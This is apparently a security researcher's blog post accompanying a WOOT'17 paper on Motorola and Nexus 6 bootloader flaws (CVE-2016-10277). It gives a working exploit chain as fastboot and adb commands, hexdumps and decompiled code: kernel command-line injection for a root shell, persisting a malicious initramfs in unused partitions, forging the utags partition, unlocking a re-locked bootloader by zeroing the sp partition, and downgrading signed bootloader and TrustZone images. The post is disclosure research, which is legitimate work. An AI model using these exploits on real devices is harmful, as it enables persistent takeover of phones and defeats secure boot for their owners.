In USENIX WOOT ‘17, that took place earlier this month in Vancouver, we presented our paper, “fastboot oem vuln: Android Bootloader Vulnerabilities in Vendor Customizations”, covering a year’s work in Android bootloaders research.
Our paper also includes some previously undisclosed details on CVE-2016-10277, a critical kernel command-line injection vulnerability in the Motorola Android Bootloader (ABOOT) that we had found and blogged about.
In the previous couple of blog posts, we demonstrated a tethered unrestricted root exploit against that vulnerability, that we later extended to other Moto devices - G4 & G5. Additional Moto devices have also been confirmed by the community.
In the WOOT’17 paper we describe a natural continuation of that exploit – a second stage untethered secure boot & device locking bypass (tested to be working on the vulnerable versions of Nexus 6, Moto G4 & G5). Moreover, we also present in the paper and this blog post other second stage exploits, such as persistent kernel code execution in Nexus 6, the ability to downgrade critical partitions (such as the bootloaders chain and TrustZone), unlocking a re-locked Nexus 6 bootloader, and more.
As usual, our PoC exploit is publicly available in our GitHub repo.
DISCLAIMER: Unlike the previous ephemeral jailbreak, the one presented today may brick your device. For example, during the development of it, we had to unlock our (luckily unlockable!) Moto G5 device in order to unbrick it.
initrd
which allows us to force the Linux kernel to populate initramfs
into rootfs
from a specified physical address.initramfs
at a known physical address, named SCRATCH_ADDR
(see here for a list of devices).initramfs
payload is injected into RAM by the adversary, the vulnerability must be re-exploited on every reboot.For example, here is a successful run of the exploit on cedric
(Moto G5)
$ fastboot oem config fsg-id "a initrd=0xA2100000,1588598"
$ fastboot flash aleph initroot-cedric.cpio.gz
$ fastboot continue
$ adb shell
cedric:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
cedric:/ # getenforce
Permissive
cedric:/ #
Making an untethered exploit implies that we must somehow persist our payload. In general, although we have block-device write access with the unconfined root shell, due to Verified Boot we cannot make the system load with a tampered boot
or system
partitions.
It turns out, however, that our Moto devices have some unused partition we can populate our malicious initramfs
into:
.--------.---------------------------------------------.-------------.------.
| Device | Partition | Real name | Size |
|--------|---------------------------------------------|-------------|------|
| shamu | /dev/block/platform/msm_sdcc.1/by-name/padA | mmcblk0p11 | 4.1M |
| athene | /dev/block/bootdevice/by-name/padC | mmcblk0p41 | 22M |
| cedric | /dev/block/bootdevice/by-name/padA | mmcblk0p48 | 2.9M |
`--------'---------------------------------------------'-------------'------'
In addition, as was also suggested by Ethan Nelson-Moore, attackers can use the SD card partition (mmcblk1p1
), if the device has one (shamu
doesn’t, for example). Obviously, using the SD card does not require the first stage ephemeral exploit, as one can prepare it offline. It should be noted that a significant drawback of targeting SD cards, from the adversary perspective, is that it implies a physical attack only (unless the adversary targets a device with an already inserted SD card).
The first step is to create an empty ext4 partition. At the host:
$ dd if=/dev/zero of=empty.ext4 count=<size> ibs=1
$ mkfs.ext4 ./empty.ext4
The next step is to populate the malicious initial ramdisk archive into the in-file ext4 filesystem. This can be done either on the host or on the device.
On the device, one can replace the unused partition with the empty ext4 filesystem we have just created, mount it, and use cpio
to populate the malicious initramfs. The attacker should also restore the SELinux contexts, and create the /sbin/init -> /init symbolic link – see the next section for more details.
$ adb push ./empty.ext4 /data/local/tmp
$ adb push ./initroot-unpadded.cpio.gz /data/local/tmp
$ adb shell
athene:/ # dd if=/data/local/tmp/empty.ext4 of=/dev/block/bootdevice/by-name/padC
44800+0 records in
44800+0 records out
22937600 bytes transferred in 4.658 secs (4924345 bytes/sec)
athene:/ # mkdir /data/local/tmp/pad
athene:/ # mount /dev/block/bootdevice/by-name/padC /data/local/tmp/pad
athene:/ # cd /data/local/tmp/pad
athene:/ # gzip -c -d ../initroot-unpadded.cpio.gz | cpio -i
athene:/ # ln -s ../init ./sbin/init
athene:/ # chroot /data/local/tmp/pad restorecon -R .
athene:/ # cd ..
athene:/ # umount /data/local/tmp/pad
The target partition now has the payload. It can be saved for later use on other devices (of the same model), i.e.
$ adb pull /dev/block/bootdevice/by-name/padC initroot.ext4
On other devices, populating it is now trivial:
$ adb push initroot.ext4 /data/local/tmp
$ adb shell
athene:/ # dd if=/data/local/tmp/initroot.ext4 of=/dev/block/bootdevice/by-name/padC
Please note that the persisted payload may need some extra-massaging. For example, in order to overcome the tight size limitation of the cedric
unused partition, we packed the binaries of the malicious initramfs
(using UPX). In shamu
, we had to a priori create some directories (/firmware
, /persist
), which are probably made by an init
script. (This cannot happen on our readonly mounted root partition.)
Since we populated our malicious initramfs archive in some unused partition, we still need to lure Linux to use it as the root partition.
Leaving many details behind, Linux prepares the root filesystem as follows (taking into account the Moto kernels config).
initramfs
from a physical address (initrd_{start,end}
), specified in the Device-Tree Blob (DTB). In ARM/64 that can also be specified in the kernel command line by the initrd
argument. We abuse this functionality with the tetherd exploit.initrd
mechanism, copying from initrd_start
into /initrd.image
under rootfs
.ramdisk_execute_command
with a default value of /init
(which can be overridden by specifying rdinit
on the kernel command line) on rootfs. If it succeeds, it will soon execute it and we are done. This is the normal flow on regular boots./initrd.image
from rootfs
into /dev/ram0
unless the noinitrd
argument is specified. It will then execute /linuxrc
unless the ‘real’ root device is /dev/ram0
.root
argument is specified, the kernel will mount it (read only, unless the rw
argument is specified) as the root filesystem.execute_command
is specified (by the init
argument), the kernel will eventually execute it. If it succeeds, we are done./sbin/init
, /etc/init
, /bin/init
, /bin/sh
in order until it succeeds, and panic otherwise.We can thus conclude that the adversary can coerce Linux to use our tampered partition (e.g. /dev/block/bootdevice/by-name/padC
) as the root partition by supplying the following arguments:
initrd
, or rdinit=
parameters in order to make the kernel fail on (2), (3) and (4).root=/dev/<real block name>
to use our owned partition.rw
. Optional. Only required for the factory initramfs archive if we do not restorecon
. (See above.)init=/init
. Optional. Only required if we do not create the /sbin/init
symbolic link in the root partition. (See above.)Hence, the minimum number of bytes which are needed to inject into the cmdline is 29-30 (depending on the partition). For example, on cedric, the fastboot command would be:
fastboot oem fsg-id "a rdinit= root=/dev/mmcblk0p48"
Luckily (although we can also overcome this limitation, see next), ABOOT
limits the string length of fsg-id
parameter to 32 bytes before injecting it into the kernel command-line, so although we do not have much leeway with this UTAG, we managed to fit our payload in!
$ adb shell
athene:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input), [...] context=u:r:shell:s0
$ adb reboot bootloader
$ fastboot oem config fsg-id a initrd=0x92000000,2505052
$ fastboot flash aleph initroot-athene-xt1622-npjs25.93-14-4.cpio.gz
$ fastboot continue
resuming boot...
OKAY [ 0.006s]
finished. total time: 0.006s
$ adb shell id
uid=0(root) gid=0(root) groups=0(root) [...] context=u:r:kernel:s0
$ adb push padC-initroot /data/local/tmp
$ adb shell dd of=/dev/block/bootdevice/by-name/padC if=/data/local/tmp/padC-initroot
$ adb reboot bootloader
$ fastboot oem config "a rdinit= root=/dev/mmcblk0p41"
$ fastboot continue
$ adb shell
athene:/ # exit
$ adb reboot
$ adb shell
athene:/ #
Before we created this very succinct payload (29-30 bytes), we had thought we wouldn’t be able find a payload that fit in the fsg-id
UTAG. For instance, we incorrectly asserted that we would need to provide the rw
and init
arguments. We soon realized that by using initroot as a first stage exploit, we could cause ABOOT to inject another string into the kernel cmdline, which was much more spacious (256 bytes).
More importantly, what described next is independent of CVE-2016-10277 (in contrast to the previous payload), so if the adversary manages to gain a block-device access (with or without CVE-2016-10277), he can achieve a persistent root.
Interestingly, in our Moto devices (and also Nexus 6!) there is one UTAG which has caught our attention (in shamu
this command will fail, although the UTAG is supported):
$ fastboot oem config cmdl
...
(bootloader) <UTAG name="cmdl" type="str" protected="true">
(bootloader) <value>
(bootloader) </value>
(bootloader) <description>
(bootloader) Kernel command line overlay
(bootloader) add/modify option: <option>=<value>
(bootloader) remove option: -<option>
(bootloader) </description>
(bootloader) </UTAG>
While very appealing, unfortunately this UTAG cannot be controlled from fastboot
on production devices:
$ fastboot oem config cmdl foo=bar
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
...
(bootloader) Not allowed command
FAILED (remote failure)
finished. total time: 0.007s
It’s a pity, because decompiling ABOOT!update_cmdline with IDA shows that this UTAG is limited to 256 bytes, more than enough of what we initially needed:
_BYTE *__fastcall update_cmdline(_BYTE *a1, int a2)
{
[...]
v86 = malloc(256);
if ( !v86 )
panic(v2, "ASSERT FAILED at (%s:%d): %s\n", "app/mbm/linux_boot.c", 612, "overlay_buf != NULL");
if ( _utag_gets(0, "cmdl", v86, 256) )
{
v87 = cmd_overlay_command_tokens(v67, v86);
if ( v87 )
{
v88 = v67;
v67 = v87;
free(v88);
}
}
}
But can we use our block-device access (as we can achieve with the first stage initroot
exploit) in order to control that UTAG?
As explained above, using the unrestricted root we achieve with initroot
, we can write on arbitrary block devices (which are not write-protected).
The UTAGs reside under a device-specific partition:
.--------.----------------------------------------------.------------.
| Device | Partition | Real name |
|--------|----------------------------------------------|------------|
| shamu | /dev/block/platform/msm_sdcc.1/by-name/utags | mmcblk0p11 |
| athene | /dev/block/bootdevice/by-name/utags | mmcblk0p21 |
| cedric | /dev/block/bootdevice/by-name/utags | mmcblk0p25 |
`--------'----------------------------------------------'------------'
Let’s examine one of them:
$ adb shell id
uid=0(root) gid=0(root) [...] context=u:r:kernel:s0
$ adb pull /dev/block/bootdevice/by-name/utags
$ hexdump -C utags
00000000 5f 5f 55 54 41 47 5f 48 45 41 44 5f 5f 00 00 00 |__UTAG_HEAD__...|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 66 73 67 2d |............fsg-|
00000030 69 64 3a 73 74 72 00 00 00 00 00 00 00 00 00 00 |id:str..........|
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c |................|
00000050 00 00 00 00 00 00 00 00 61 20 69 6e 69 74 72 64 |........a initrd|
00000060 3d 30 78 39 32 30 30 30 30 30 30 2c 32 35 30 35 |=0x92000000,2505|
00000070 30 35 32 00 62 6f 6f 74 6d 6f 64 65 3a 73 74 72 |052.bootmode:str|
[...]
00000a00 20 20 20 20 20 20 00 58 46 46 1f 0b 2e 72 65 62 | .XFF...reb|
00000a10 6f 6f 74 00 00 00 00 00 00 00 00 00 00 00 00 00 |oot.............|
00000a20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 |................|
00000a30 00 00 00 00 00 00 00 00 30 00 00 00 5f 5f 55 54 |........0...__UT|
00000a40 41 47 5f 54 41 49 4c 5f 5f 00 00 00 00 00 00 00 |AG_TAIL__.......|
00000a50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
We can observe that our injected argument (fsg-id
) is there. Basic understanding of the format can easily be achieved by just observing this sample:
fsg-id:str
)0x1c
at offset 0x4f
)Equipped with this knowledge, we can add our malicious cmdl
UTAG.
000004c0 63 20 65 66 67 68 3d 6a 6b 6c 00 00 63 6d 64 6c |c efgh=jkl..cmdl|
000004d0 3a 73 74 72 00 00 00 00 00 00 00 00 00 00 00 00 |:str............|
000004e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3b |...............;|
000004f0 00 00 00 00 00 00 00 00 66 6f 6f 31 3d 62 61 72 |........foo1=bar|
00000500 31 20 66 6f 6f 32 3d 62 61 72 32 20 66 6f 6f 33 |1 foo2=bar2 foo3|
00000510 3d 62 61 72 33 20 66 6f 6f 34 3d 62 61 72 34 20 |=bar3 foo4=bar4 |
00000520 66 6f 6f 35 3d 62 61 72 35 20 20 20 20 20 20 20 |foo5=bar5 |
00000530 20 20 00 00 73 6b 75 3a 73 74 72 00 00 00 00 00 | ..sku:str.....|
Since this partition is NOT write-protected, we can overwrite it even if we are not running in recovery mode: (Kudos to @autoprime – at the beginning I thought one must use initroot in recovery mode for that, albeit it’s also possible by simply selecting recovery mode on the fastboot menu, during exploitation – that’s how we managed to overwrite the system partition on old Moto devices such as athene
).
$ adb push ./utags /data/local/tmp
$ adb shell
athene:/ # dd if=/data/local/tmp/utags of=/dev/block/bootdevice/by-name/utags
athene:/ # reboot bootloader
$ fastboot oem config cmdl
...
(bootloader) <UTAG name="cmdl" type="str" protected="false">
(bootloader) <value>
(bootloader) foo1=bar1 foo2=bar2 foo3=bar3 foo4=bar4 foo5=bar5
(bootloader)
(bootloader) </value>
(bootloader) <description>
(bootloader) Kernel command line overlay
(bootloader) add/modify option: <option>=<value>
(bootloader) remove option: -<option>
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.025s]
finished. total time: 0.025s
We can see that we indeed managed to inject our own data into the non-fastboot accessible UTAG! Again, being able to control this UTAG allows for a persistent root, independently of CVE-2016-10277 (given that you have block-device access).
In addition to the generic second stage exploit depicted above, we also describe in the paper and the following sections additional attacks. (Some are device-specific.)
During our disclosure process, Android Security also observed that on shamu
, an unrestricted root (as we gain with the ephemeral initroot), or one that runs under an SELinux domain with block device access, can overwrite the bootloader chain, boot
, and system
partitions. Due to incomplete Secure/Verified Boot implementation (verified on our re-locked Nexus 6 device), the boot
partition is not verified, which implies a persistent kernel code execution – by using the ephemeral initroot exploit, the attacker can completely replace the boot
partition with a tampered one (which makes the aforementioned second-stage exploit on Nexus 6 redundant), containing a malicious kernel image and an initramfs
cpio archive. Afterwards, the attacker can simply reboot into fastboot, and remove the malicious utag
. The attacker’s supplied kernel code and initramfs
will then be loaded on every boot.
Back in 2013, Dan Rosenberg found a vulnerability in the Motorola TrustZone kernel, allowing him to unlock the Motorola bootloader. In his blog, Dan depicted how Motorola implemented bootloader locking (also relevant for shamu
), which can be summarized with the following state machine:
.---------.
| Factory | .----------.
| Locked | ---> | Unlocked | <---. (3)
`---------' (1) `-----.----' |
| .-----------.
`----> | Re-locked |
(2) `-----------'
The transitions are as follows:
WARRANTYVOID
qfuse is blown. This transition is governed by TEE thus it cannot be done from the Platform OS.sp
partition, with an HMAC produced by TEE.Conclusion: An unrestricted root (as one could gain by exploiting CVE-2016-10277) can unlock a re-locked bootloader by invalidating the sp
partition.
We tagged this vulnerability as A-62345923.
$ fastboot getvar all
...
(bootloader) secure: yes
(bootloader) unlocked: no
(bootloader) securestate: locked
(bootloader) iswarrantyvoid: yes
(bootloader) mot_sst: 2
$ fastboot oem config fsg-id "a initrd=0x11000000,1519997"
$ fastboot flash foo initroot.cpio.gz
$ fastboot continue
$ adb shell
shamu:/ # echo 0 > /dev/block/platform/msm_sdcc.1/by-name/sp
shamu:/ # reboot bootloader
$ fastboot getvar all
...
(bootloader) unlocked: yes
(bootloader) securestate: unlocked
(bootloader) iswarrantyvoid: yes
(bootloader) mot_sst: 3
As mentioned above, by being able to write on block devices, one can overwrite the bootloader chain (SBL1
, ABOOT
), TrustZone and other signed partitions (e.g. boot
& recovery
). Although such a replacement succeeds, due to Secure Boot, the boot flow will end in the PBL’s Emergency Download Mode (EDL) (verified on shamu
) or fastboot, depending on which partition has failed verification. Despite that, since older images are perfectly-signed ones, downgrade attacks are possible, unless mitigated using the SW_ID
field. It seems that Nexus 6 does not increase the SW_ID
field between bootloader versions, thus the attacker can downgrade those signed partitions, allowing for exploitation of now-patched vulnerabilities in critical code. Other Moto devices are not immune too – verified on athene
(that uses a different signing format), we were able to downgrade SBL1
, ABOOT
and TrustZone:
$ fastboot getvar all | grep git
(bootloader) sbl1.git: git=MBM-NG-VB1.05-0-ge433b40
(bootloader) rpm.git: git=a970ead
(bootloader) tz.git: git=119e5b2-dirty
(bootloader) hyp.git: git=119e5b2-dirty
(bootloader) keymaster.git: git=119e5b2-dirty
(bootloader) cmnlib.git: git=119e5b2-dirty
(bootloader) aboot.git: git=MBM-NG-VB1.05-0-ge433b40
$ fastboot oem config fsg-id "a initrd=0x92000000,2505052"
$ fastboot flash aleph initroot.cpio.gz
$ fastboot continue
$ adb push old_* /data/local/tmp
$ adb shell
athene:/ # dd if=[...] of=/dev/block/bootdevice/by-name/aboot
athene:/ # dd if=[...] of=/dev/block/bootdevice/by-name/tz
athene:/ # dd if=[...] of=/dev/block/bootdevice/by-name/sbl1
athene:/ # reboot bootloader
$ fastboot getvar all | grep git
(bootloader) sbl1.git: git=MBM-NG-VB0.0E-0-g83950b7
(bootloader) rpm.git: git=a970ead
(bootloader) tz.git: git=9fa1804
(bootloader) hyp.git: git=119e5b2-dirty
(bootloader) keymaster.git: git=119e5b2-dirty
(bootloader) cmnlib.git: git=119e5b2-dirty
(bootloader) aboot.git: git=MBM-NG-VB0.0E-0-g4986429
Due to secure boot, modifying the boot
and recovery
partitions on recent Motorola devices (such as athene
& cedric
) will cause the boot process to end in the fastboot mode. In order to achieve persistent code execution, the attacker, however, can aim at a different target – the system
partition. Such a modification, however, is expected to be both prevented and detected by security controls. First, write-protection is enabled on the system
partition (and others) by ABOOT
upon boot. Unfortunately, this can be easily circumvented by the attacker by exploiting initroot slightly different – instead of instructing the bootloader to load the platform OS (by issuing fastboot continue
), he can load the recovery OS, again, with the malicious initramfs
injected into memory. Since the recovery OS needs write access on the system
partition, the bootloader does not enable write-protection when booting into the recovery mode:
if ( v5 == BOOTMODE_RECOVERY )
ssm_en_write_protect = 0;
if ( ssm_en_write_protect )
{
write_protect_partition("system");
write_protect_partition("oem");
LABEL_13:
write_protect_utags();
write_protect_partition("sp");
[...]
Then, the attacker can simply mount system
and modify files. Sadly, although tampering with system
can be detected by dm-verity
, the fstab
file under the Moto G4 boot image (and others), and in contrast to the G5 one, does not specify the verify
attribute over the system
partition. Controlling system
allows the attacker to do much havoc. For example, the attacker now owns the Android runtime, can replace apps with malicious ones, can sideload privileged apps, and more.
In this blog we showed that having an ephemeral unrestricted root access is sufficient for achieving a persistent (untethered) jailbreak on affected Motorola devices. We demonstrated an end-to-end exploit for such devices, and also presented some other device-specific attacks.